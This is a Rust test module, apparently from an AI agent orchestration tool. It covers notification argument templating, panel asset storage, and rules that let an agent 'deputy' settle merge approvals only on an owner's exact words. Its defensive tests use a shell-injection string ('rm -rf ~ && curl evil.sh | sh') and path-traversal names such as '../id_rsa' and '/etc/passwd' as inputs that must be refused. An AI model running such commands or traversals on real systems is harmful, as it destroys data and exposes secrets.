2896 .unwrap();
2897 handle.await.unwrap();
2898 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2899
2900 assert!(notify(&quiet(), &q).await.is_ok());
2902 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2903 }
2904
2905 #[tokio::test]
2906 async fn external_question_notification_names_the_supported_response_path() {
2907 let dir = tempfile::tempdir().unwrap();
2908 let path = dir.path().join("page");
2909 let cmd = config::Notify {
2910 command: vec![
2911 "sh".into(),
2912 "-c".into(),
2913 "printf '%s' \"$1\" > \"$2\"".into(),
2914 "notify".into(),
2915 "{summary}".into(),
2916 path.to_string_lossy().into_owned(),
2917 ],
2918 };
2919 let q = choice_question();
2920 notify(&cmd, &q).await.unwrap();
2921 let sent = std::fs::read_to_string(&path).unwrap();
2922 assert!(sent.starts_with("Question "));
2923 assert!(sent.contains(&q.summary));
2924 assert!(sent.contains(&format!("magi answer {}", q.id)));
2925 notify_text(&cmd, "", "Informational report. No reply needed.")
2926 .await
2927 .unwrap();
2928 assert_eq!(
2929 std::fs::read_to_string(&path).unwrap(),
2930 "Informational report. No reply needed."
2931 );
2932 }
2933
2934 #[test]
2935 fn external_notifications_and_questions_have_distinct_destinations() {
2936 assert_eq!(
2937 question_url("https://example.invalid/"),
2938 "https://example.invalid/#/questions"
2939 );
2940 assert_eq!(
2941 view_url("https://example.invalid/", "notifications"),
2942 "https://example.invalid/#/notifications"
2943 );
2944 assert_eq!(view_url("", "notifications"), "");
2945 assert_eq!(
2946 view_url("https://example.invalid/#/queue", "notifications"),
2947 "https://example.invalid/#/queue"
2948 );
2949 }
2950
2951 #[test]
2952 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2953 let mut q = choice_question();
2954 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2955 let template = [
2956 "ntfy".to_owned(),
2957 "publish".to_owned(),
2958 "--click".to_owned(),
2959 "{url}".to_owned(),
2960 "--title".to_owned(),
2961 "magi {run} needs you".to_owned(),
2962 "{summary}".to_owned(),
2963 ];
2964 let argv: Vec<String> = template
2965 .iter()
2966 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2967 .collect();
2968
2969 assert_eq!(
2970 argv,
2971 [
2972 "ntfy",
2973 "publish",
2974 "--click",
2975 "http://100.64.0.1:7777/#/questions",
2976 "--title",
2977 "magi 20260902-201256-9fb7 needs you",
2978 "; rm -rf ~ && curl evil.sh | sh #",
2979 ],
2980 "the shell metacharacters are one argument's contents, not syntax"
2981 );
2982
2983 q.summary = "should {url} be configurable?".to_owned();
2986 assert_eq!(
2987 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2988 "should {url} be configurable?"
2989 );
2990 assert_eq!(
2992 expand("{title}: {run}", &q.run, &q.summary, ""),
2993 "{title}: 20260902-201256-9fb7"
2994 );
2995 assert_eq!(
2996 expand("no placeholders", &q.run, &q.summary, "http://x"),
2997 "no placeholders"
2998 );
2999 }
3000
3001 #[test]
3002 fn the_notification_link_lands_on_the_view_that_can_answer() {
3003 assert_eq!(
3004 question_url("http://100.64.0.1:7777"),
3005 "http://100.64.0.1:7777/#/questions"
3006 );
3007 assert_eq!(
3008 question_url("http://100.64.0.1:7777/"),
3009 "http://100.64.0.1:7777/#/questions"
3010 );
3011 assert_eq!(
3013 question_url("http://magi.ts.net/#/runs"),
3014 "http://magi.ts.net/#/runs"
3015 );
3016 assert_eq!(question_url(" "), "");
3018 }
3019
3020 fn panelled() -> Question {
3022 let mut q = choice_question();
3023 q.id = "20260903-014455-ab12".to_owned();
3024 q
3025 }
3026
3027 #[test]
3028 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3029 let (dir, s) = store();
3030 let work = dir.path().join("worktree");
3031 std::fs::create_dir_all(&work).unwrap();
3032 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3033 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3034
3035 let mut q = panelled();
3036 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3037 s.put_panel(
3038 &mut q,
3039 html,
3040 &[work.join("table.png"), work.join("diff.svg")],
3041 )
3042 .unwrap();
3043 s.put(&mut q).unwrap();
3044
3045 assert!(q.panel);
3046 assert_eq!(
3047 q.assets,
3048 ["diff.svg", "table.png"],
3049 "sorted, not in the order the agent happened to pass them"
3050 );
3051 assert_eq!(
3052 s.panel_html(&q.id).as_deref(),
3053 Some(html),
3054 "the html is stored byte for byte; the agent authored the markup"
3055 );
3056 assert_eq!(
3057 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3058 Some(&b"<svg/>"[..])
3059 );
3060
3061 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3063 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3064 assert_eq!(json["panel"], true);
3065 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3066 let back = s.get(&q.id).unwrap();
3067 assert!(back.panel);
3068 assert_eq!(back.assets, q.assets);
3069
3070 std::fs::remove_dir_all(&work).unwrap();
3073 assert_eq!(
3074 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3075 Some(&b"\x89PNG"[..]),
3076 "a referenced asset would be gone with the worktree"
3077 );
3078 }
3079
3080 #[test]
3081 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3082 let (dir, s) = store();
3083 let mut q = panelled();
3084 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3085 s.put(&mut q).unwrap();
3086
3087 let secret = "this must never reach the browser";
3090 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3091 assert_eq!(
3092 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3093 secret,
3094 "the traversal is real: the operating system resolves this path \
3095 happily, which is why the name has to be refused before the join"
3096 );
3097
3098 let long = "x".repeat(200);
3099 for name in [
3100 "..",
3101 "../id_rsa",
3102 "..\\id_rsa",
3103 "sub/../id_rsa",
3104 "/",
3105 "\\",
3106 "/etc/passwd",
3107 "C:\\Windows\\win.ini",
3108 "",
3109 ".hidden",
3110 ".",
3111 long.as_str(),
3112 ] {
3113 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3114 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3115 assert!(
3116 e.contains("not a panel file name"),
3117 "`{name}` must be refused as a name, not attempted: {e}"
3118 );
3119 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3120 }
3121 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3124
3125 let hidden = dir.path().join(".hidden");
3128 std::fs::write(&hidden, "x").unwrap();
3129 let e = s
3130 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3131 .unwrap_err()
3132 .to_string();
3133 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3134 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3135 assert!(q.assets.is_empty());
3136 }
3137
3138 #[test]
3139 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3140 let (dir, s) = store();
3141 let mut q = panelled();
3142 s.put(&mut q).unwrap();
3143
3144 let big = dir.path().join("recording.png");
3147 std::fs::File::create(&big)
3148 .unwrap()
3149 .set_len(PANEL_MAX_BYTES)
3150 .unwrap();
3151
3152 let html = "<p>see the recording</p>";
3153 let total = PANEL_MAX_BYTES + html.len() as u64;
3154 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3155 assert!(
3156 e.contains(&PANEL_MAX_BYTES.to_string()),
3157 "the cap is named so the agent knows the limit: {e}"
3158 );
3159 assert!(
3160 e.contains(&total.to_string()),
3161 "the actual size is named so the agent knows by how much: {e}"
3162 );
3163
3164 assert!(!q.panel);
3165 assert!(q.assets.is_empty());
3166 let left: Vec<String> = std::fs::read_dir(s.root())
3167 .unwrap()
3168 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3169 .collect();
3170 assert_eq!(
3171 left,
3172 [format!("{}.json", q.id)],
3173 "a refused panel leaves neither a directory nor scratch: {left:?}"
3174 );
3175 }
3176
3177 #[test]
3178 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3179 let (dir, s) = store();
3180 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3181 std::fs::create_dir_all(&before).unwrap();
3182 std::fs::create_dir_all(&after).unwrap();
3183 std::fs::write(before.join("diff.png"), "before").unwrap();
3184 std::fs::write(after.join("diff.png"), "after").unwrap();
3185
3186 let mut q = panelled();
3187 let e = s
3188 .put_panel(
3189 &mut q,
3190 "<p>x</p>",
3191 &[before.join("diff.png"), after.join("diff.png")],
3192 )
3193 .unwrap_err()
3194 .to_string();
3195 assert!(e.contains("diff.png"), "{e}");
3196 assert!(
3197 e.contains("before") && e.contains("after"),
3198 "both sources are named, because the fix is to rename one: {e}"
3199 );
3200 assert!(!q.panel);
3201 assert!(!s.panel_dir(&q.id).exists());
3202 }
3203
3204 #[test]
3205 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3206 let (_dir, s) = store();
3207 let barrier = std::sync::Barrier::new(8);
3208 let ids = std::thread::scope(|scope| {
3209 let handles: Vec<_> = (0..8)
3210 .map(|worker| {
3211 let s = &s;
3212 let barrier = &barrier;
3213 scope.spawn(move || {
3214 barrier.wait();
3215 (0..16)
3216 .map(|index| {
3217 let mut q = choice_question();
3218 q.id = new_id_at("20261020-224346", 0xf8ef);
3221 q.summary = format!("worker {worker}, question {index}");
3222 assert!(valid_asset_name(&q.id));
3223 assert_eq!(q.short(), "f8ef");
3224 let html = format!("<p>{}</p>", q.summary);
3225 s.put_panel(&mut q, &html, &[]).unwrap();
3226 s.put(&mut q).unwrap();
3227 (q.id, q.summary, html)
3228 })
3229 .collect::<Vec<_>>()
3230 })
3231 })
3232 .collect();
3233 handles
3234 .into_iter()
3235 .flat_map(|handle| handle.join().unwrap())
3236 .collect::<Vec<_>>()
3237 });
3238 assert_eq!(s.list().len(), ids.len());
3239 for (id, summary, html) in ids {
3240 assert_eq!(s.get(&id).unwrap().summary, summary);
3241 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3242 }
3243 }
3244
3245 #[test]
3246 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3247 let (dir, s) = store();
3248 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3249 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3250
3251 let mut q = panelled();
3252 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3253 .unwrap();
3254 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3255 .unwrap();
3256
3257 assert_eq!(q.assets, ["new.png"]);
3258 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3259 assert!(
3260 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3261 "an asset from the first attempt would show a mix of two answers"
3262 );
3263
3264 s.drop_panel(&q.id).unwrap();
3265 assert!(s.panel_html(&q.id).is_none());
3266 assert!(!s.panel_dir(&q.id).exists());
3267 s.drop_panel(&q.id)
3268 .expect("dropping a panel that is already gone is the desired state");
3269 }
3270
3271 #[test]
3272 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3273 let (_dir, s) = store();
3274 let mut q = panelled();
3275 s.put(&mut q).unwrap();
3276
3277 assert!(!q.panel);
3278 assert!(s.panel_html(&q.id).is_none());
3279 assert!(
3280 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3281 "a missing file is a 404 for the caller, not a failure of the store"
3282 );
3283 let json = serde_json::to_value(&q).unwrap();
3284 assert_eq!(json["panel"], false);
3285 assert_eq!(json["assets"], serde_json::json!([]));
3286
3287 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3290 assert!(e.contains("empty panel"), "{e}");
3291 assert!(!s.panel_dir(&q.id).exists());
3292 }
3293
3294 #[test]
3295 fn a_question_written_before_panels_existed_still_deserialises() {
3296 let (_dir, s) = store();
3297 std::fs::create_dir_all(s.root()).unwrap();
3298 let id = "20260902-231501-ab12";
3299 let body = r#"{
3301 "schema": 1,
3302 "id": "20260902-231501-ab12",
3303 "run": "20260902-201256-9fb7",
3304 "node": "implement",
3305 "seat": "impl-A",
3306 "summary": "Which storage backend should the cache use?",
3307 "detail": "Both are already dependencies.",
3308 "choices": ["SQLite", "Redis"],
3309 "status": "open",
3310 "asked_at": "2026-09-02T23:15:01Z",
3311 "answered_at": null,
3312 "answer": null
3313}"#;
3314 std::fs::write(s.path_of(id), body).unwrap();
3315
3316 let q = s.get(id).unwrap();
3317 assert!(
3318 !q.panel,
3319 "an absent field means no panel, not a parse error"
3320 );
3321 assert!(q.assets.is_empty());
3322 assert_eq!(q.schema, 1);
3327 assert!(q.thread.is_empty());
3328 assert_eq!(
3329 q.answer_timeout, 0,
3330 "an absent field means unrecorded, not a zero-second deadline"
3331 );
3332 assert!(!q.waiting_on_agent());
3333 assert_eq!(q.summary, "Which storage backend should the cache use?");
3334 assert_eq!(
3335 s.list().len(),
3336 1,
3337 "and it is still listed; skipping it would hide an open question"
3338 );
3339 }
3340
3341 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3342 Turn {
3343 who,
3344 body: body.to_owned(),
3345 at,
3346 note: None,
3347 }
3348 }
3349
3350 #[test]
3351 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3352 let mut q = choice_question();
3355 q.thread
3356 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3357 let value = serde_json::to_value(&q.thread[0]).unwrap();
3358 let mut keys: Vec<&str> = value
3359 .as_object()
3360 .unwrap()
3361 .keys()
3362 .map(String::as_str)
3363 .collect();
3364 keys.sort_unstable();
3365 assert_eq!(keys, ["at", "body", "who"]);
3366 assert_eq!(value["who"], "operator");
3367 assert_eq!(value["body"], "why not Postgres?");
3368
3369 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3370 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3371 assert_eq!(parsed.who, Who::Agent);
3372 }
3373
3374 fn approval_question() -> Question {
3375 let mut q = Question::new(
3376 "run".into(),
3377 crate::land::APPROVAL_NODE.into(),
3378 "land".into(),
3379 "Merge?".into(),
3380 String::new(),
3381 vec!["merge".into(), "hold".into()],
3382 );
3383 let mut dep = Deputy::new("brief".into());
3384 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3385 q.deputy = Some(dep);
3386 q
3387 }
3388
3389 #[test]
3390 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3391 for choice in [
3392 crate::merge_decision::WITHDRAW,
3393 "reimplement:primary",
3394 "retry",
3395 "discard",
3396 ] {
3397 let mut q = approval_question();
3398 q.choices.push(choice.into());
3399 if matches!(choice, "retry" | "discard") {
3400 q.node = "recovery".into();
3401 }
3402 if choice == "discard" {
3403 q.actions.insert(choice.into(), ChoiceAction::Done);
3404 }
3405 let words = "おっけーそれぞれ回答してー";
3406 q.say(words).unwrap();
3407 let error = q
3408 .settle_by_deputy("deputy-x", choice, words, None)
3409 .unwrap_err()
3410 .to_string();
3411 assert!(
3412 error.contains(if choice == "retry" {
3413 "manifest"
3414 } else {
3415 "individual owner confirmation"
3416 }),
3417 "{choice}: {error}"
3418 );
3419 assert!(q.status.open());
3420 }
3421 }
3422
3423 #[test]
3424 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3425 for choice in [
3426 crate::land::HOLD,
3427 crate::land::REPAIR,
3428 crate::merge_decision::WITHDRAW,
3429 "reimplement:beta",
3430 ] {
3431 let mut q = approval_question();
3432 q.node = crate::land::APPROVAL_NODE.into();
3433 q.choices = vec!["merge".into(), choice.into()];
3434 q.merge_target = Some(crate::merge_decision::Target {
3435 pr: "PR 42".into(),
3436 head: "abc".into(),
3437 language: "en".into(),
3438 });
3439 q.say(format!("Should we choose {choice}?")).unwrap();
3440 assert!(
3441 q.settle_by_deputy("deputy-x", choice, choice, None)
3442 .is_err()
3443 );
3444 q.say(choice).unwrap();
3445 q.settle_by_deputy("deputy-x", choice, choice, None)
3446 .unwrap();
3447 assert_eq!(q.resolution().as_deref(), Some(choice));
3448 }
3449 let mut q = approval_question();
3450 q.node = crate::land::APPROVAL_NODE.into();
3451 q.choices = vec!["merge".into(), "hold".into()];
3452 q.merge_target = Some(crate::merge_decision::Target {
3453 pr: "PR 42".into(),
3454 head: "new-head".into(),
3455 language: "en".into(),
3456 });
3457 q.say("merge old-head").unwrap();
3458 assert!(
3459 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3460 .is_err()
3461 );
3462 q.say("merge new-head").unwrap();
3463 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3464 .unwrap();
3465 }
3466
3467 #[test]
3468 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3469 let mut q = approval_question();
3470 q.choices.push(crate::land::REPAIR.into());
3471 q.say("maybe fix findings and re-review").unwrap();
3472 assert!(
3473 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3474 .is_err()
3475 );
3476 q.say(crate::land::REPAIR).unwrap();
3477 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3478 .unwrap();
3479 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3480 assert_eq!(
3481 crate::land::approval(q.resolution().as_deref()),
3482 crate::land::Approval::Repair
3483 );
3484 }
3485
3486 #[test]
3487 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3488 let mut q = approval_question();
3489 q.say("merge").unwrap();
3490 q.reply("sure?", vec!["merge".into(), "hold".into()])
3491 .unwrap();
3492 q.say(" Merge it please ").unwrap();
3493 assert!(
3494 q.settle_by_deputy("deputy-x", "merge", " ", None)
3495 .is_err(),
3496 "an empty quote is refused"
3497 );
3498 assert!(
3499 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3500 .is_err(),
3501 "a quote the owner never said is refused"
3502 );
3503 assert_eq!(q.status, QuestionStatus::Open);
3504 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3505 .unwrap();
3506 assert_eq!(q.resolution().as_deref(), Some("merge"));
3507 }
3508
3509 #[test]
3510 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3511 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3512 let mk = || {
3513 let mut q = Question::new(
3514 "run".into(),
3515 crate::github_text::ASK_NODE.into(),
3516 crate::github_text::ASK_SEAT.into(),
3517 "s".into(),
3518 String::new(),
3519 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3520 );
3521 let mut dep = Deputy::new("brief".into());
3522 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3523 q.deputy = Some(dep);
3524 q
3525 };
3526 let mut hedged = mk();
3527 hedged.say("Post the original, maybe?").unwrap();
3528 assert!(
3529 hedged
3530 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3531 .is_err()
3532 );
3533 let mut clear = mk();
3534 clear.say("Post the original text as it is.").unwrap();
3535 clear
3536 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3537 .unwrap();
3538 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3539 let mut japanese = mk();
3540 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3541 japanese.say(words).unwrap();
3542 japanese
3543 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3544 .unwrap();
3545 let mut unrelated = mk();
3546 unrelated.say("Proceed with the task").unwrap();
3547 assert!(
3548 unrelated
3549 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3550 .is_err()
3551 );
3552 for words in [
3553 "OK, post the original",
3554 "Yes, post original",
3555 "I'd like to post the original",
3556 ] {
3557 let mut natural = mk();
3558 natural.say(words).unwrap();
3559 natural
3560 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3561 .unwrap();
3562 }
3563 for (message, quote) in [
3564 (
3565 "ログには「元の説明で投稿しました」と記録されています。",
3566 "ログには「元の説明で投稿しました」と記録されています。",
3567 ),
3568 (
3569 "ログには「元の説明で投稿してください」と記録されています。",
3570 "元の説明で投稿してください",
3571 ),
3572 ] {
3573 let mut descriptive = mk();
3574 descriptive.say(message).unwrap();
3575 assert!(
3576 descriptive
3577 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3578 .is_err()
3579 );
3580 assert!(descriptive.status.open());
3581 assert!(descriptive.answer.is_none());
3582 }
3583 let mut descriptive = mk();
3584 let message = "Post original was the option I saw.";
3585 descriptive.say(message).unwrap();
3586 for quote in [message, "Post original"] {
3587 assert!(
3588 descriptive
3589 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3590 .is_err()
3591 );
3592 assert!(descriptive.status.open());
3593 assert!(descriptive.answer.is_none());
3594 }
3595 let mut safe = mk();
3597 safe.say("use the fallback").unwrap();
3598 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3599 .unwrap();
3600 }
3601
3602 #[test]
3603 fn posting_deputy_rejects_multiline_quoted_context() {
3604 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3605 for (command, choice) in [
3606 ("Post original", POST_ORIGINAL),
3607 ("Use rewrite", USE_REWRITE),
3608 ] {
3609 for message in [
3610 format!("The log contains:\n```\n{command}\n```"),
3611 format!("The log contains:\n\"\n{command}\n\""),
3612 format!("The log says: “Reported. {command}.”"),
3613 format!("The log says: “\n{command}\n”"),
3614 ]
3615 .into_iter()
3616 .chain(crate::github_text::reported_posting_messages(command))
3617 {
3618 let mut q = Question::new(
3619 "run".into(),
3620 ASK_NODE.into(),
3621 ASK_SEAT.into(),
3622 "s".into(),
3623 String::new(),
3624 vec![USE_FALLBACK.into(), choice.into()],
3625 );
3626 let mut dep = Deputy::new("brief".into());
3627 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3628 q.deputy = Some(dep);
3629 q.say(&message).unwrap();
3630 let tmp = tempfile::tempdir().unwrap();
3631 let questions = Questions::at(tmp.path().join("questions"));
3632 questions.put(&mut q).unwrap();
3633 for quote in [command, message.as_str()] {
3634 assert!(
3635 questions
3636 .update(&q.id, |stored| {
3637 stored.settle_by_deputy("deputy-x", choice, quote, None)
3638 })
3639 .is_err()
3640 );
3641 let after = questions.get(&q.id).unwrap();
3642 assert!(after.status.open());
3643 assert!(after.answer.is_none());
3644 }
3645 }
3646 }
3647 }
3648
3649 #[test]
3650 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3651 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3652 let mk = || {
3653 let mut q = Question::new(
3654 "run".into(),
3655 crate::github_text::ASK_NODE.into(),
3656 crate::github_text::ASK_SEAT.into(),
3657 "s".into(),
3658 String::new(),
3659 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3660 );
3661 let mut dep = Deputy::new("brief".into());
3662 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3663 q.deputy = Some(dep);
3664 q
3665 };
3666 let mut hedged = mk();
3667 hedged.say("Use the rewrite, maybe?").unwrap();
3668 assert!(
3669 hedged
3670 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3671 .is_err()
3672 );
3673 let mut descriptive = mk();
3674 let message = "Use rewrite was the option I saw.";
3675 descriptive.say(message).unwrap();
3676 for quote in [message, "Use rewrite"] {
3677 assert!(
3678 descriptive
3679 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3680 .is_err()
3681 );
3682 assert!(descriptive.status.open());
3683 assert!(descriptive.answer.is_none());
3684 }
3685 for words in [
3686 "Use the rewrite text as it is.",
3687 "I'd like to use the rewrite",
3688 "修正版で投稿してください。",
3689 ] {
3690 let mut clear = mk();
3691 clear.say(words).unwrap();
3692 clear
3693 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3694 .unwrap();
3695 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3696 }
3697 let mut safe = mk();
3699 safe.say("use the fallback").unwrap();
3700 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3701 .unwrap();
3702 }
3703
3704 #[test]
3705 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3706 let mk = |choices: Vec<String>| {
3707 let mut q = Question::new(
3708 String::new(),
3709 crate::bump::NOTICE_NODE.into(),
3710 "release-watch".into(),
3711 "Release?".into(),
3712 String::new(),
3713 choices,
3714 );
3715 let mut dep = Deputy::new("brief".into());
3716 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3717 q.deputy = Some(dep);
3718 q
3719 };
3720 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3721 assert!(crate::deputy::merge_gated(&approval));
3722 approval.say("マージしていいよ").unwrap();
3723 assert!(
3724 approval
3725 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3726 .is_err(),
3727 "a quote the owner never said is refused"
3728 );
3729 approval
3730 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3731 .unwrap();
3732
3733 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3734 assert!(!crate::deputy::merge_gated(&esc));
3735 esc.say("もう監視はいらない").unwrap();
3736 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3737 .unwrap();
3738 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3739 }
3740
3741 #[test]
3742 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3743 let mut q = approval_question();
3744 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3745 .unwrap();
3746 assert!(
3747 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3748 .is_err(),
3749 "the quote must be the owner's"
3750 );
3751 assert!(
3752 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3753 .is_err(),
3754 "`hold` still needs the whole message"
3755 );
3756 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3757 .unwrap();
3758 assert_eq!(q.resolution().as_deref(), Some("merge"));
3759 }
3760
3761 fn settle_ready() -> Question {
3762 let mut q = Question::new(
3763 "task".to_owned(),
3764 "conduct".to_owned(),
3765 "conduct".to_owned(),
3766 "Done?".to_owned(),
3767 String::new(),
3768 vec!["yes".to_owned(), "no".to_owned()],
3769 );
3770 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3771 seat.turns = 1;
3772 let mut dep = Deputy::new("brief".to_owned());
3773 dep.seat = Some(seat);
3774 q.deputy = Some(dep);
3775 q.say("setup done, and file a follow-up").unwrap();
3776 q
3777 }
3778
3779 #[test]
3780 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3781 let dir = tempfile::TempDir::new().unwrap();
3782 let store = Questions::at(dir.path().join("questions"));
3783 let mut q = settle_ready();
3784 let id = q.id.clone();
3785 store.put(&mut q).unwrap();
3786 store
3787 .update(&id, |q| {
3788 q.settle_by_deputy(
3789 "deputy-x",
3790 "yes",
3791 "setup done",
3792 Some(" no follow-up was queued "),
3793 )
3794 })
3795 .unwrap();
3796 let back = store.get(&id).unwrap();
3797 let turn = back.thread.last().unwrap();
3798 assert_eq!(turn.who, Who::Agent);
3799 assert!(turn.body.starts_with("Settled as `yes`"));
3800 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3801 assert_eq!(back.thread[0].note, None);
3802 }
3803
3804 #[test]
3805 fn an_empty_or_blank_settle_note_is_no_note() {
3806 for note in [None, Some(""), Some(" \n ")] {
3807 let mut q = settle_ready();
3808 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3809 .unwrap();
3810 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3811 let json = serde_json::to_string(&q).unwrap();
3812 assert!(!json.contains("\"note\""), "no key when there is none");
3813 }
3814 }
3815
3816 #[test]
3817 fn a_refused_settle_leaves_no_note_behind() {
3818 let mut q = settle_ready();
3819 let before = q.thread.clone();
3820 assert!(
3821 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3822 .is_err()
3823 );
3824 assert!(
3825 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3826 .is_err()
3827 );
3828 assert_eq!(q.thread, before);
3829 assert_eq!(q.status, QuestionStatus::Open);
3830 }
3831
3832 #[test]
3833 fn a_turn_written_before_notes_existed_still_reads() {
3834 let t: Turn =
3835 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3836 .unwrap();
3837 assert_eq!(t.note, None);
3838 }
3839
3840 #[test]
3841 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3842 let mut q = approval_question();
3843 q.say("merge").unwrap();
3844 q.reply("sure?", vec!["merge".into(), "hold".into()])
3845 .unwrap();
3846 q.say("wait, hold off").unwrap();
3847 assert!(
3848 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3849 .is_err()
3850 );
3851 assert_eq!(q.status, QuestionStatus::Open);
3852 }
3853
3854 #[test]
3855 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3856 let mut q = Question::new(
3857 "task".to_owned(),
3858 "conduct".to_owned(),
3859 "conduct".to_owned(),
3860 "Done?".to_owned(),
3861 String::new(),
3862 vec!["yes".to_owned(), "no".to_owned()],
3863 );
3864 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3865 seat.turns = 1;
